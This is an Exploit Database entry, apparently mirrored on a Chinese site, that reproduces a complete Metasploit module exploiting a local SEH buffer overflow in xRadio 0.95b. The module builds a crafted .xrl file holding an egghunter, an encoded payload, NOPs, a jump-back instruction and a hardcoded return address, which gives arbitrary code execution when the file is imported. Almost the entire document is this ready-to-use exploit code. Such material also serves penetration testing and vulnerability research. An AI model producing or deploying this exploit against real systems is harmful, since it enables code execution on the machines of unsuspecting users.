xRadio 0.95b – Local Buffer Overflow (Metasploit)

• Exploit Database
• 32 阅读

• 作者： Metasploit
  日期： 2012-04-20
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18760/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::FILEFORMAT
  	include Msf::Exploit::Remote::Seh
  	include Msf::Exploit::Remote::Egghunter
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'=> 'xRadio 0.95b Buffer Overflow',
  			'Description' => %q{
  				This module exploits a buffer overflow in xRadio 0.95b.
  				Using the application to import a specially crafted xrl file,
  				a buffer overflow occurs allowing arbitrary code execution.
  			},
  			'License' => MSF_LICENSE,
  			'Author'=>
  				[
  					'b0telh0 <me[at]gotgeek.com.br>',
  				],
  			'References'=>
  				[
  					[ 'BID', '46290' ],
  					[ 'EDB', '16141' ]
  				],
  			'DefaultOptions'=>
  				{
  					'EXITFUNC' => 'seh',
  					'DisablePayloadHandler' => 'true'
  				},
  			'Platform'=> 'win',
  			'Payload' =>
  				{
  					'Space' => 1000,
  					'BadChars' => "\x00\x0a\x0d",
  					'StackAdjustment' => -3500
  				},
  			'Targets' =>
  				[
  					[ 'Windows Universal',
  						{
  							# pop eax - pop ebx - ret xradio.exe
  							'Ret' => 0x0047E282
  						}
  					],
  				],
  			'Privileged'=> false,
  			'DisclosureDate'=> 'Feb 08 2011',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [true, 'The file name.', 'msf.xrl'])
  			], self.class)
  
  	end
  
  	def exploit
  		eggoptions =
  		{
  			:checksum => true,
  			:eggtag => 'w00t'
  		}
  
  		hunter,egg = generate_egghunter(payload.encoded, eggoptions)
  
  		buffer =rand_text_alpha_upper(4066-egg.length)
  		buffer << egg
  		buffer << make_nops(10)
  		buffer << hunter
  		buffer << "\xeb\xd8\xff\xff"# nsehjmp back 40 bytes
  		buffer << [target.ret].pack('V')# seh
  
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  		file_create(buffer)
  	end
  
  end